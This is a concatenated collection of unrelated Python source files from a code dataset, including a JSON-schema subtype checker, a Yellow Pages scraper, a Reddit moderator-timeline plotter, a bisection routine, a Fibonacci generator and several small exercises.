self.interval = I.closed(self.minimum, self.maximum)\n\n def _isUninhabited(self):\n self.build_interval_draft4()\n return self.interval.is_empty() or \\\n (self.multipleOf != None and self.multipleOf not in self.interval)\n\n def meet(self, s):\n pass\n\n def _isSubtype(self, s2):\n\n def _isIntegerSubtype(self, s2):\n if s2.type not in [\"integer\", \"number\"]:\n return False\n #\n is_sub_interval = self.interval in s2.interval\n if not is_sub_interval:\n print_db(\"num__00\")\n return False\n #\n if (self.multipleOf == s2.multipleOf) \\\n or (self.multipleOf != None and s2.multipleOf == None) \\\n or (self.multipleOf != None and s2.multipleOf != None and self.multipleOf % s2.multipleOf == 0) \\\n or (self.multipleOf == None and s2.multipleOf == 1):\n print_db(\"num__02\")\n return True\n\n if self.multipleOf == None and s2.multipleOf != None:\n return False\n\n return super().isSubtype_handle_rhs(s2, _isIntegerSubtype)\n\n\nclass JSONTypeNumber(JSONschema):\n kw_defaults = {\"minimum\": -infinity, \"maximum\": infinity,\n \"exclusiveMinimum\": False, \"exclusiveMaximum\": False, \"multipleOf\": None}\n\n def __init__(self, s):\n super().__init__(s)\n\n def build_interval_draft4(self):\n if self.exclusiveMinimum and self.exclusiveMaximum:\n self.interval = I.open(self.minimum, self.maximum)\n elif self.exclusiveMinimum:\n self.interval = I.openclosed(self.minimum, self.maximum)\n elif self.exclusiveMaximum:\n self.interval = I.closedopen(self.minimum, self.maximum)\n else:\n self.interval = I.closed(self.minimum, self.maximum)\n\n def _isUninhabited(self):\n self.build_interval_draft4()\n return self.interval.is_empty() or \\\n (self.multipleOf != None and self.multipleOf not in self.interval)\n\n def meet(self, s):\n pass\n\n def _isSubtype(self, s2):\n\n def _isNumberSubtype(self, s2):\n if s2.type != \"number\":\n return False\n #\n is_sub_interval = self.interval in s2.interval\n if not is_sub_interval:\n print_db(\"num__00\")\n return False\n #\n if self.type == \"number\" and s2.type == \"integer\":\n print_db(\"num__01\")\n return False\n #\n if (self.multipleOf == s2.multipleOf) \\\n or (self.multipleOf != None and s2.multipleOf == None) \\\n or (self.multipleOf != None and s2.multipleOf != None and self.multipleOf % s2.multipleOf == 0) \\\n or (self.multipleOf == None and s2.multipleOf == 1):\n print_db(\"num__02\")\n return True\n\n return super().isSubtype_handle_rhs(s2, _isNumberSubtype)\n\n\nclass JSONTypeBoolean(JSONschema):\n kw_defaults = {}\n\n def __init__(self, s):\n super().__init__(s)\n\n def _isSubtype(self, s2):\n\n def _isBooleanSubtype(self, s2):\n if s2.type == \"boolean\":\n return True\n else:\n return False\n\n return super().isSubtype_handle_rhs(s2, _isBooleanSubtype)\n\n\nclass JSONTypeNull(JSONschema):\n kw_defaults = {}\n\n def __init__(self, s):\n super().__init__(s)\n\n def _isSubtype(self, s2):\n\n def _isNullSubtype(self, s2):\n if s2.type == \"null\":\n return True\n else:\n return False\n\n return super().isSubtype_handle_rhs(s2, _isNullSubtype)\n\n\nclass JSONTypeObject(JSONschema):\n\n kw_defaults = {\"properties\": {}, \"additionalProperties\": {}, \"required\": [\n ], \"minProperties\": 0, \"maxProperties\": infinity, \"dependencies\": {}, \"patternProperties\": {}}\n\n def __init__(self, s):\n super().__init__(s)\n\n def meet(self, s2):\n pass\n\n def _isSubtype(self, s2):\n\n def _isObjectSubtype(self, s2):\n pass\n\n return super().isSubtype_handle_rhs(s2, _isObjectSubtype)\n\n\nclass JSONTypeArray(JSONschema):\n\n kw_defaults = {\"minItems\": 0, \"maxItems\": infinity,\n \"items\": JSONTypeObject({}), \"additionalItems\": JSONTypeObject({}), \"uniqueItems\": False}\n\n def __init__(self, s):\n super().__init__(s)\n\n def _isUninhabited(self):\n return (self.minItems > self.maxItems) or \\\n (is_list(self.items) and self.additionalItems ==\n False and self.minItems > len(self.items))\n\n def meet(self, s2):\n pass\n\n def _isSubtype(self, s2):\n\n def _isArraySubtype(self, s2):\n print_db(\"in array subtype\")\n if s2.type != \"array\":\n return False\n #\n #\n # self = JsonArray(self)\n # s2 = JsonArray(s2)\n #\n # uninhabited = handle_uninhabited_types(self, s2)\n # if uninhabited != None:\n # return uninhabited\n #\n # -- minItems and maxItems\n is_sub_interval = is_sub_interval_from_optional_ranges(\n self.minItems, self.maxItems, s2.minItems, s2.maxItems)\n # also takes care of {'items' = [..], 'additionalItems' = False}\n if not is_sub_interval:\n print_db(\"__01__\")\n return False\n #\n # -- uniqueItemsue\n # TODO Double-check. Could be more subtle?\n if not self.uniqueItems and s2.uniqueItems:\n print_db(\"__02__\")\n return False\n #\n # -- items = {not empty}\n # no need to check additionalItems\n if is_dict(self.items_):\n if is_dict(s2.items_):\n print_db(self.items_)\n print_db(s2.items_)\n # if subschemachecker.Checker.is_subtype(self.items_, s2.items_):\n if self.items_.isSubtype(s2.items_):\n print_db(\"__05__\")\n return True\n else:\n print_db(\"__06__\")\n return False\n elif is_list(s2.items_):\n if s2.additionalItems == False:\n print_db(\"__07__\")\n return False\n elif s2.additionalItems == True:\n for i in s2.items_:\n # if not subschemachecker.Checker.is_subtype(self.items_, i):\n if not self.items_.isSubtype(i):\n print_db(\"__08__\")\n return False\n print_db(\"__09__\")\n return True\n elif is_dict(s2.additionalItems):\n for i in s2.items_:\n # if not subschemachecker.Checker.is_subtype(self.items_, i):\n if not self.items_.isSubtype(i):\n print_db(\"__10__\")\n return False\n # if subschemachecker.Checker.is_subtype(self.items_, s2.additionalItems):\n if self.items_.isSubtype(s2.additionalItems):\n print_db(\"__11__\")\n return True\n else:\n print_db(\"__12__\")\n return False\n #\n elif is_list(self.items_):\n print_db(\"lhs is list\")\n if is_dict(s2.items_):\n if self.additionalItems == False:\n for i in self.items_:\n # if not subschemachecker.Checker.is_subtype(i, s2.items_):\n if not i.isSubtype(s2.items_):\n print_db(\"__13__\")\n return False\n print_db(\"__14__\")\n return True\n elif self.additionalItems == True:\n for i in self.items_:\n # if not subschemachecker.Checker.is_subtype(i, s2.items_):\n if not i.isSubtype(s2.items_):\n return False\n return True\n elif is_dict(self.additionalItems):\n for i in self.items_:\n # if not subschemachecker.Checker.is_subtype(i, s2.items_):\n if not i.isSubtype(s2.items_):\n return False\n # if subschemachecker.Checker.is_subtype(self.additionalItems, s2.items_):\n if self.additionalItems.isSubtype(s2.items_):\n return True\n else:\n return False\n # now lhs and rhs are lists\n elif is_list(s2.items_):\n print_db(\"lhs & rhs are lists\")\n len1 = len(self.items_)\n len2 = len(s2.items_)\n for i, j in zip(self.items_, s2.items_):\n # if not subschemachecker.Checker.is_subtype(i, j):\n if not i.isSubtype(j):\n return False\n if len1 == len2:\n print_db(\"len1 == len2\")\n if self.additionalItems == s2.additionalItems:\n return True\n elif self.additionalItems == True and s2.additionalItems == False:\n return False\n elif self.additionalItems == False and s2.additionalItems == True:\n return True\n else:\n # return subschemachecker.Checker.is_subtype(self.additionalItems, s2.additionalItems)\n return self.additionalItems.isSubtype(s2.additionalItems)\n elif len1 > len2:\n diff = len1 - len2\n for i in range(len1-diff, len1):\n # if not subschemachecker.Checker.is_subtype(self.items_[i], s2.additionalItems):\n if not self.items_[i].isSubtype(s2.additionalItems):\n print_db(\"9999\")\n return False\n print_db(\"8888\")\n return True\n else: # len2 > len 1\n # if self.additionalItems:\n diff = len2 - len1\n for i in range(len2 - diff, len2):\n print_db(\"self.additionalItems\",\n self.additionalItems)\n print_db(i, s2.items_[i])\n # if not subschemachecker.Checker.is_subtype(self.additionalItems, s2.items_[i]):\n if not self.additionalItems.isSubtype(s2.items_[i]):\n print_db(\"!!!\")\n return False\n # return subschemachecker.Checker.is_subtype(self.additionalItems, s2.additionalItems)\n return self.additionalItems.isSubtype(s2.additionalItems)\n\n return super().isSubtype_handle_rhs(s2, _isArraySubtype)\n\n\nclass JSONanyOf(JSONschema):\n\n def meet(self, s):\n pass\n\n def _isSubtype(self, s2):\n\n def _isAnyofSubtype(self, s2):\n for s in self.anyOf:\n if not s.isSubtype(s2):\n return False\n return True\n\n return super().isSubtype_handle_rhs(s2, _isAnyofSubtype)\n\n\nclass JSONallOf(JSONschema):\n\n def meet(self, s):\n pass\n\n def _isSubtype(Self, s2):\n\n def _isAllOfSubtype(self, s2):\n for s in self.allOf:\n if not s.isSubtype(s2):\n return False\n return True\n\n return super().isSubtype_handle_rhs(s2, _isAllOfSubtype)\n\n\nclass JSONoneOf(JSONschema):\n\n def meet(self, s):\n pass\n\n def _isSubtype(self, s2):\n sys.exit(\"onOf on the lhs is not supported yet.\")\n\nclass JSONnot(JSONschema):\n \n def meet(self, s):\n pass\n\n def _isSubtype(self, s):\n pass\ntypeToConstructor = {\n \"string\": JSONTypeString,\n \"integer\": JSONNumericFactory,\n \"number\": JSONNumericFactory,\n \"boolean\": JSONTypeBoolean,\n \"null\": JSONTypeNull,\n \"array\": JSONTypeArray,\n \"object\": JSONTypeObject\n}\n\nboolToConstructor = {\n \"anyOf\": JSONanyOf,\n \"allOf\": JSONallOf,\n \"oneOf\": JSONoneOf,\n \"not\": JSONnot\n}\n\n\nclass JSONSchemaSubtypeFactory(json.JSONDecoder):\n\n def __init__(self, *args, **kwargs):\n json.JSONDecoder.__init__(\n self, object_hook=self.object_hook, *args, **kwargs)\n\n def object_hook(self, d):\n print_db(\"object before canon.\", d)\n # return JSONSchemaSubtypeFactory.canoncalize_object(d)\n return canoncalize_object(d)\n \n # @staticmethod\n # def canoncalize_object(d):\n # validate_schema(d)\n # if d == {}:\n # return d\n # t = d.get(\"type\")\n # if isinstance(t, list):\n # return JSONSchemaSubtypeFactory.canoncalize_list_of_types(d)\n # elif isinstance(t, str):\n # return JSONSchemaSubtypeFactory.canoncalize_single_type(d)\n # else:\n # connectors = set(d.keys()) & set(_constants.Jconnectors)\n # if connectors:\n # return JSONSchemaSubtypeFactory.canoncalize_connectors(d)\n # else:\n # d[\"type\"] = _constants.Jtypes\n # return JSONSchemaSubtypeFactory.canoncalize_list_of_types(d)\n \n # @staticmethod\n # def canoncalize_list_of_types(d):\n # t = d.get(\"type\")\n # choices = []\n # for t_i in t:\n # if t_i in typeToConstructor.keys():\n # s_i = copy.deepcopy(d)\n # s_i[\"type\"] = t_i\n # s_i = JSONSchemaSubtypeFactory.canoncalize_single_type(s_i)\n # choices.append(s_i)\n # else:\n # print(\"Unknown schema type {} at:\".format(t))\n # print(d)\n # print(\"Exiting...\")\n # sys.exit(1)\n # d = {\"anyOf\": choices}\n # # TODO do we need to return JSONanyOf ?\n # return boolToConstructor.get(\"anyOf\")(d)\n\n # @staticmethod\n # def canoncalize_single_type(d):\n # t = d.get(\"type\")\n # # check type is known\n # if t in typeToConstructor.keys():\n # # remove irrelevant keywords\n # tmp = copy.deepcopy(d)\n # for k in tmp.keys():\n # if k not in _constants.Jcommonkw and k not in _constants.JtypesToKeywords.get(t):\n # d.pop(k)\n # return typeToConstructor[t](d)\n # else:\n # print(\"Unknown schema type {} at:\".format(t))\n # print(d)\n # print(\"Exiting...\")\n # sys.exit(1)\n\n # @staticmethod\n # def canoncalize_connectors(d):\n # # TODO\n # connectors = set(d.keys()) & set(_constants.Jconnectors)\n # if len(connectors) == 1:\n # return boolToConstructor[connectors.pop()](d)\n # elif len(connectors) > 1:\n # return boolToConstructor[\"allOf\"]({\"allOf\": list({k: v} for k, v in d.items())})\n # else:\n # print(\"Something went wrong\")\n\n\nclass JSONSubtypeChecker:\n \n def __init__(self, s1, s2):\n # validate_schema(s1)\n # validate_schema(s2)\n self.s1 = self.canoncalize_json(s1)\n self.s2 = self.canoncalize_json(s2)\n\n def canoncalize_json(self, obj):\n if isinstance(obj, str) or isinstance(obj, numbers.Number) or isinstance(obj, bool) or isinstance(obj, type(None)) or isinstance(obj, list):\n return obj\n elif isinstance(obj, dict):\n # return JSONSchemaSubtypeFactory.canoncalize_object(obj)\n return canoncalize_object(obj)\n\n def isSubtype(self):\n return self.s1.isSubtype(self.s2)\n\n\nif __name__ == \"__main__\":\n\n s1_file = sys.argv[1]\n s2_file = sys.argv[2]\n print(\"Loading json schemas from:\\n{}\\n{}\\n\".format(s1_file, s2_file))\n\n #######################################\n \n with open(s1_file, 'r') as f1:\n s1 = json.load(f1, cls=JSONSchemaSubtypeFactory)\n with open(s2_file, 'r') as f2:\n s2 = json.load(f2, cls=JSONSchemaSubtypeFactory)\n print(s1)\n print(s2)\n print(\"Usage scenario 1:\", s1.isSubtype(s2))\n\n #######################################\n\n with open(s1_file, 'r') as f1:\n s1 = json.load(f1)\n with open(s2_file, 'r') as f2:\n s2 = json.load(f2)\n print(s1)\n print(s2)\n print(\"Usage scenario 2:\", JSONSubtypeChecker(s1, s2).isSubtype())","sub_path":"jsonsubschema/old/_jsonschema.py","file_name":"_jsonschema.py","file_ext":"py","file_size_in_byte":22382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"381049327","text":"# 3 - Demandez un nombre à un utilisateur, créer une condition qui affichera si le nombre de\n# l'utilisateur est comprit entre 5 et 10. 5 et 10 sont exclut (les nombres doivent donc\n# etre 6, 7, 8 ou 9 pour que le programme afficher \"vrai\")\n\nnb_in = int(input(\"Veuillez entrer un nombre entier, sont exclus 5 et 10 : \"))\n\nif nb_in == 5 or nb_in ==10:\n print(\"Ces nombres sont exclus\")\nelse:\n print(True)","sub_path":"02_tests/03_tests.py","file_name":"03_tests.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"399710188","text":"###############################################################################\n# MI Interpreters - the Python Version\n#\n# This script starts on the first page and then\n# scrapes it and all subsequent pages by calling\n# 'scrape_and_look_for_next_link' over and over\n# again.\n#\n###############################################################################\n## DEBUG .............. If you uncommment the next line, it could help you debug possible issues that appear\n## YOU_SHOULD_KNOW .... You'll be able to use this later\n## NOTE ............... general comments\n\n\n## NOTE: required before any other code (comments not included)\nimport scraperwiki\nimport lxml.html\n\n\n## YOU_SHOULD_KNOW: this is where you put your target url(s) \nBASE_URL = 'http://www.yellowpages.com'\nFIRST_EXT = '/mi/interpreters?g=MI'\nMAX_PAGES = 0 ## set to 0 for unlimited\nCURRENT_PAGE = 0 ## keeps track of current page\n\n\n## NOTE: the intermediate function \"check_data()\" was required because\n## not all the fields are filled for all businesses and I was getting\n## errors when trying to add the data.\ndef check_data(data):\n if len(data) > 0:\n ## NOTE: pull out first element, get its text, remove end whitespace\n ## and then remove trailing ',' if it exists (like on addresses)\n return data[0].text_content().rstrip().rstrip(',')\n else:\n ## NOTE: otherwise, return 'n/a'\n return \"n/a\"\n\n\n## NOTE: scrape_table function gets passed an individual page to scrape\ndef scrape_table(page_url):\n\n ## NOTE: first, scrape the page\n page = scraperwiki.scrape(page_url)\n\n ## NOTE: next, parse the scraped page\n root = lxml.html.fromstring(page)\n\n ## NOTE: loop through each listing block delimited by 'div=\"listing content\"'\n for x in root.cssselect('.listing_content'):\n ## DEBUG: make sure we are seeing the correct data\n # print \"SEE %s\" % x\n # print \"GOT %s\" % x.text_content()\n # print \"BIZ %s\" % check_data(x.cssselect('.business-name'))\n # print \"BIZ %s\" % check_data(x.cssselect('.business-name'))\n # print \"ADR %s\" % check_data(x.cssselect('span.street-address'))\n # print \"CIT %s\" % check_data(x.cssselect('span.locality'))\n # print \"STA %s\" % check_data(x.cssselect('span.region'))\n # print \"ZIP %s\" % check_data(x.cssselect('span.postal-code'))\n # print \"PHN %s\" % check_data(x.cssselect('span.business-phone'))\n\n ## NOTE: the intermediate function \"check_data()\" was required because\n ## not all the fields are filled for all businesses and I was getting\n ## errors when trying to add the data.\n data = {\n 'Business' : check_data(x.cssselect('.business-name')),\n 'Address' : check_data(x.cssselect('span.street-address')),\n 'City' : check_data(x.cssselect('span.locality')),\n 'State' : check_data(x.cssselect('span.region')),\n 'Zipcode' : check_data(x.cssselect('span.postal-code')),\n 'Phone' : check_data(x.cssselect('span.business-phone')),\n }\n scraperwiki.sqlite.save(unique_keys=['Business'], data=data)\n\n\n ## YOU_SHOULD_KNOW: if you would like to a global variable, be sure\n ## to define the variable locally with 'global' (like below). If\n ## you only plan on reading the variable, there is no need to set\n ## the global definition (like with MAX_PAGES below)\n global CURRENT_PAGE\n ## DEBUG: print \"A: SEE %s, %s\" % (MAX_PAGES, CURRENT_PAGE)\n CURRENT_PAGE += 1\n\n ## NOTE: check to see if there are more links to follow\n if MAX_PAGES == CURRENT_PAGE:\n next_link = None\n else:\n for links in root.cssselect('li.next a'):\n next_link = \"%s%s\" % (BASE_URL, links.get('href'))\n\n ## DEBUG: print \"B: SEE %s, %s\" % (MAX_PAGES, CURRENT_PAGE)\n return next_link\n\n\n## scrape_and_look_for_next_link function: calls the scrape_table\n# function, then hunts for a 'next' link: if one is found, calls itself again\ndef scrape_and_look_for_next_link(url):\n # print 'scraping: '+url\n next_url = scrape_table(url)\n\n if next_url:\n scrape_and_look_for_next_link(next_url)\n\n\n\n# ---------------------------------------------------------------------------\n# START HERE - define your starting URL - then \n# call a function to scrape the first page in the series.\n# ---------------------------------------------------------------------------\nstarting_url = \"%s%s\" % (BASE_URL,FIRST_EXT)\n## DEBUG: make sure I found the page\n# print \"I SEE URL: %s\" % starting_url\nscrape_and_look_for_next_link(starting_url)","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":4580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"441698385","text":"import pandas as pd\nfrom datetime import datetime\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom matplotlib.colors import LinearSegmentedColormap\nimport numpy as np\n\n### FUCNTIONS TO CONVERT MOD INSTANCES DF TO MOD PRESENCE TIMELINE\ndef prep_df(df):\n '''subset df into required columns and types\n to construct timeline df'''\n df['date'] = pd.to_datetime(df['date']).dt.normalize()\n df['pubdate'] = pd.to_datetime(df['pubdate']).dt.normalize()\n df.sort_values('pubdate', inplace=True)\n df['perm_level'] = df['permissions'].map({'+all':2}).fillna(1)\n last = df['pubdate'].max()\n n = {1:3,2:4, 0:0} \n current = list(df[df['pubdate']==last]['name'])\n df.reset_index(inplace=True)\n c = df[df['name'].isin(current)]['perm_level'].map(n) \n df.perm_level.update(c) \n df.sort_values(['date','pubdate'], inplace=True)\n df.drop_duplicates(['name','date'], keep='last', inplace=True)\n df.set_index('name', inplace=True, drop=False)\n df = df[['name','date','pubdate','perm_level']]\n return df\n\ndef date_presence_dict(dates, start, end, perm_level): \n '''check mod presence on date'''\n d = {}\n for date in dates:\n if date >= start and date <= end:\n d[date] = perm_level\n return d\n\ndef timeline_df(df):\n '''convert moderator instance date to timeline df'''\n df = prep_df(df)\n timeline = pd.DataFrame(index = pd.date_range(start = df['date'].min(),\n end = df['pubdate'].max(),\n freq='D'))\n for name in set(df['name']):\n if list(df['name']).count(name) == 1:\n subset = df.loc[name]\n dates = pd.date_range(start = subset['date'],\n end = subset['pubdate'],\n freq='D')\n start, end, perm_level = subset['date'], subset['pubdate'], subset['perm_level']\n d = date_presence_dict(dates, start, end, perm_level)\n timeline[name] = pd.Series(d)\n\n elif list(df['name']).count(name) > 1:\n combined = {}\n subset = df.loc[name]\n dates = pd.date_range(start = subset['date'].min(),\n end = subset['pubdate'].max(),\n freq='D')\n for row in subset.itertuples():\n start, end, perm_level = row[2], row[3], row[4]\n d = date_presence_dict(dates, start, end, perm_level)\n combined.update(d)\n timeline[name] = pd.Series(combined)\n timeline.fillna(0, inplace=True)\n timeline = timeline[list(df.sort_values(['date','pubdate'])['name'].drop_duplicates())]\n return timeline\n\n\n\n\n####### PLOTTING FUNCTIONS\ndef set_cmap():\n colours = ['white','royalblue','midnightblue','indianred','maroon']\n cmap = LinearSegmentedColormap.from_list('Custom', colours, len(colours))\n return cmap\n\ndef td_data():\n '''open td moderator instance df'''\n df = pd.read_csv('/Users/emg/Programming/GitHub/mod-timelines/tidy-data/td-mod-hist.csv', index_col=0)\n return prep_df(df)\n\ndef td_plot():\n td_df = pd.read_csv('/Users/emg/Programming/GitHub/mod-timelines/tidy-data/td-mod-hist.csv', index_col=0)\n# td_df = pd.read_csv('/Users/emg/Programming/GitHub/mod-timelines/mod-list-data/td/history.csv', index_col=0)\n td_timeline = timeline_df(td_df)\n days = list(td_timeline.index)\n td_timeline.index = td_timeline.index.strftime('%Y-%m')\n \n \n fig = plt.figure(figsize=(15,9.27))\n ax = sns.heatmap(td_timeline, cmap=set_cmap())\n \n #start, end = ax.get_ylim()\n #ax.set_yticks(np.arange(start, end, 60))\n #ax.set_yticklabels(list(td_timeline.index.strftime('%Y-%m')[::-60]))\n #plt.tick_params(axis='x',which='both', labelbottom='off')\n plt.tick_params(axis='x',which='both', labelsize=6)\n \n plt.title('r/The_Donald Moderator Presence Timeline')\n plt.xlabel('r/The_Donald Moderators', labelpad=20)\n plt.ylabel('Moderator Presence by Date', labelpad=10)\n \n colorbar = ax.collections[0].colorbar\n colorbar.set_ticks([1.2, 2.0, 2.8, 3.6])\n colorbar.set_ticklabels(['Former non-top',\n 'Former top',\n 'Current non-top',\n 'Current top'])\n \n # adding event reference lines\n plt.axhline(y=days.index(datetime(2016,11,8,0,0,0)), ls = 'dashed', color='black', label='Election')\n plt.axhline(y=days.index(datetime(2016,11,24,0,0,0)), ls = 'dotted', color='green', label='Spezgiving')\n plt.axhline(y=days.index(datetime(2017,1,21,0,0,0)), ls = 'dotted', color='black', label='Inauguration')\n plt.axhline(y=days.index(datetime(2017,5,2,0,0,0)), ls = 'dashed', color='green', label='Demodding')\n \n plt.legend(loc=9)\n \n plt.tight_layout()\n \n plt.show()\n #plt.savefig('/Users/emg/Programming/GitHub/mod-timelines/figures/td-mod-timeline.png', dpi=fig.dpi)\n\ndef cmv_plot():\n# cmv_df = pd.read_csv('/Users/emg/Programming/GitHub/mod-timelines/tidy-data/cmv-mod-hist.csv', index_col=0)\n cmv_df = pd.read_csv('/Users/emg/Programming/GitHub/mod-timelines/mod-list-data/cmv/history.csv', index_col=0)\n cmv_timeline = timeline_df(cmv_df)\n cmv_timeline.index = cmv_timeline.index.strftime('%Y-%m')\n \n fig = plt.figure(figsize=(8.5, 12.135))\n ax = sns.heatmap(cmv_timeline, cmap=set_cmap())\n #start, end = ax.get_ylim()\n #ax.set_yticks(np.arange(start, end, 120))\n #ax.set_yticklabels(list(cmv_timeline.index.strftime('%Y-%m')[::-120]))\n #ax.set_yticklabels(list(cmv_timeline.index.strftime('%Y-%m')))\n #plt.tick_params(axis='x',which='both', labelbottom='off')\n \n plt.title('CMV Moderator Presence Timeline', y=1.03, x=0.4, fontweight='bold')\n plt.xlabel('r/ChangeMyView Moderators', labelpad=20)\n plt.ylabel('Moderator Presence by Date', labelpad=10)\n \n colorbar = ax.collections[0].colorbar\n colorbar.set_ticks([1.2, 2.0, 2.8, 3.6])\n colorbar.set_ticklabels(['Former non-top',\n 'Former top',\n 'Current non-top',\n 'Current top'])\n \n plt.tight_layout()\n \n plt.show()\n #plt.savefig('/Users/emg/Programming/GitHub/mod-timelines/figures/cmv-mod-timeline.png', dpi=fig.dpi)\n\n\n\n","sub_path":"mod_timeline_figures.py","file_name":"mod_timeline_figures.py","file_ext":"py","file_size_in_byte":6365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"57404131","text":"import unittest\n\nimport numpy as np\nfrom numpy.testing import (assert_almost_equal, assert_array_almost_equal,\n assert_array_equal, assert_equal)\nfrom scipy.stats import ttest_ind\nfrom statsmodels.stats.multitest import multipletests\n\nfrom src.units._markers import _ttest_differential_expression\n\n\nclass ttest(unittest.TestCase):\n def test_ttest_differential_expression(self):\n # no significance\n x1 = np.random.random(size=(7, 20))\n test_results1 = _ttest_differential_expression(\n x1, x1, alpha=0.05, markers_n=5, correction='hs')\n assert_array_equal(np.array([]), test_results1['indices'])\n\n # all significant\n x21 = np.ones(shape=(4, 20)) @ np.diag(np.arange(27, 7, -1))\n x22 = np.ones(shape=(3, 20)) * (-4)\n test_results2 = _ttest_differential_expression(\n x21, x22, alpha=0.05, markers_n=5, correction='hs')\n assert_array_equal(np.arange(5), test_results2['indices'])\n # all negatively significant\n test_results3 = _ttest_differential_expression(\n x22, x21, alpha=0.05, markers_n=5, correction='hs')\n assert_array_equal(np.array([]), test_results3['indices'])\n\n # one significant, one negatively significant\n x31 = np.array(\n [[-1, -0.5, 1, 5],\n [-0.5, -1, 0.5, 5],\n [0, 0, 1, 7]]\n )\n x32 = np.array(\n [[-0.5, 13, 0.5, -2],\n [-2, 12, 0, -1],\n [1, 11, -1, -1]]\n )\n test_results4 = _ttest_differential_expression(\n x31, x32, alpha=0.05, markers_n=2, correction='hs')\n assert_array_equal(np.array([3]), test_results4['indices'])","sub_path":"src/units/tests/test_markers.py","file_name":"test_markers.py","file_ext":"py","file_size_in_byte":1708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"182688230","text":"import numpy\n\n\ndef f(x):\n\tfuncao= -4 + 8*x - 5 * x**2 + x**3\n\treturn funcao\n\ndef bissecao(x_inf,x_sup,it_max,erro_abs):\t\t\n\tit= 0\t\n\twhile (it <= it_max and abs(f(x_inf)*f(x_sup)) > erro_abs):\n\t\tit= it+1\t\t\n\t\tXn= (x_inf + x_sup)/2\t\t\n\t\tif (f(Xn)*f(x_inf) < 0):\n\t\t\tx_sup= Xn\n\t\telse:\n\t\t\tx_inf=Xn\n\treturn(x_inf,it)\n\nresult= bissecao(x_inf= 0.5, x_sup= 3, it_max= 1000, erro_abs=10e-10000000000000)\n\nprint(result)\n","sub_path":"Aula_2.py","file_name":"Aula_2.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"499977257","text":"# fibonacci.py\n\n\n# 练习:\n# 1. 用生成器函数生成斐波那契数列的前n个数:\n# 1 1 2 3 5 8 13 ....\n\n# def fibonacci(n):\n# ...\n# yield ..\n# 1) 输出前 20 个数\n# 2) 求前 30 个数的和\n\ndef fibonacci(n):\n count = 0 # 记录当前已生成的数的个数\n # 判断当前已生成的个数大于等于需要的个数时,直接返回\n if count >= n:\n return\n yield 1 # 生成1\n count += 1 # 已生成的个数加1\n\n if count >= n: # 再次判断已生成数的个数\n return\n yield 1 # 生成一个1\n count += 1 # 已生成个数加1\n\n # 用列表生成第三个起的数\n a = 1 # a代表倒数第二个数\n b = 1 # b代表倒数第一个数\n # 如果已生成的个数小于需要的个数,则继续生成\n while count < n:\n # 从第三个起\n a, b = b, a + b # a+b是需要生成的数\n yield b # 返回刚生成的数\n count += 1 # 已生成的个数加1\n\n# 1) 输出前 20 个数\nfor x in fibonacci(20):\n print(x)\n\n# 2) 求前 30 个数的和\nprint(sum(fibonacci(30)))\n","sub_path":"AB/linux2/day17/day15_exercise/fibonacci2.py","file_name":"fibonacci2.py","file_ext":"py","file_size_in_byte":1132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"346988195","text":"# coding=utf-8\n\"\"\"https://leetcode.com/problems/zigzag-conversion/\"\"\"\n\n\nclass Solution:\n def convert(self, s: 'str', numRows: 'int') -> 'str':\n if numRows == 1:\n return s\n else:\n rows = min(numRows, len(s))\n ret = []\n for _ in range(rows):\n ret.append([])\n\n cur_row = 0\n going_down = False\n for c in s:\n ret[cur_row].append(c)\n\n if (cur_row == 0) or (cur_row == rows - 1):\n going_down = not going_down\n\n if going_down:\n cur_row += 1\n else:\n cur_row -= 1\n\n return ''.join(line for line in (''.join(x) for x in ret))\n","sub_path":"leetcode/1-100/6-ZigZag Conversion/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"327965770","text":"from random import randint\r\nimport os\r\n\r\nscript_folder=os.path.dirname(__file__)\r\nproject_folder=os.path.dirname(script_folder)\r\nraw_data_folder=project_folder+'/raw_data/'\r\n\r\nteam_r_output = open(raw_data_folder+'Emp1Teams.txt','w')\r\nteam_e_output = open(raw_data_folder+'Emp2Teams.txt','w')\r\n\r\nnato_alph=['ALPHA','BRAVO','CHARLIE','DELTA','ECHO','FOXTROT','GOLF',\r\n 'HOTEL','INDIA','JULIETT','KILO','LIMA','MIKE','NOVEMBER',\r\n 'OSCAR','PAPA','QUEBEC','ROMEO','SIERRA','TANGO','UNIFORM',\r\n 'VICTOR','WHISKEY','XRAY','YANKEE','ZULU']\r\n\r\nfor i in range(35):\r\n random_nato_letter = nato_alph[randint(0,25)]\r\n random_code = str(randint(20,999))\r\n\r\n team_r_output.write(random_nato_letter\r\n +random_code+'\\n')\r\n\r\nteam_r_output.close()\r\n\r\nfor i in range(7):\r\n random_nato_letter = nato_alph[randint(0,25)]\r\n random_code = str(randint(20,999))\r\n\r\n team_r_output.write(random_nato_letter\r\n +random_code+'\\n')\r\n\r\nteam_e_output.close()","sub_path":"FrontEnd Python/DBug_DB/Scrapers&Forgers/Team_forger.py","file_name":"Team_forger.py","file_ext":"py","file_size_in_byte":1045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"360290610","text":"\nimport base_action\n\nfrom neutron.plugins.common import constants as plugin_const\n\nfrom oslo_log import log as logging\n\nLOG = logging.getLogger(__name__)\n\n\nclass Sync(base_action.BaseAction):\n\n def __init__(self, namespace):\n self.lb_id = namespace.lb_id\n super(Sync, self).__init__(namespace)\n\n def execute(self):\n if self.lb_id is None:\n print(\"Please specify an LB id with --lb_id\")\n exit(1)\n\n print(\"Starting sync attempt for load balancer {}\".format(self.lb_id))\n\n service = self.manager.plugin_rpc.get_service_by_loadbalancer_id(\n self.lb_id\n )\n\n if not bool(service):\n 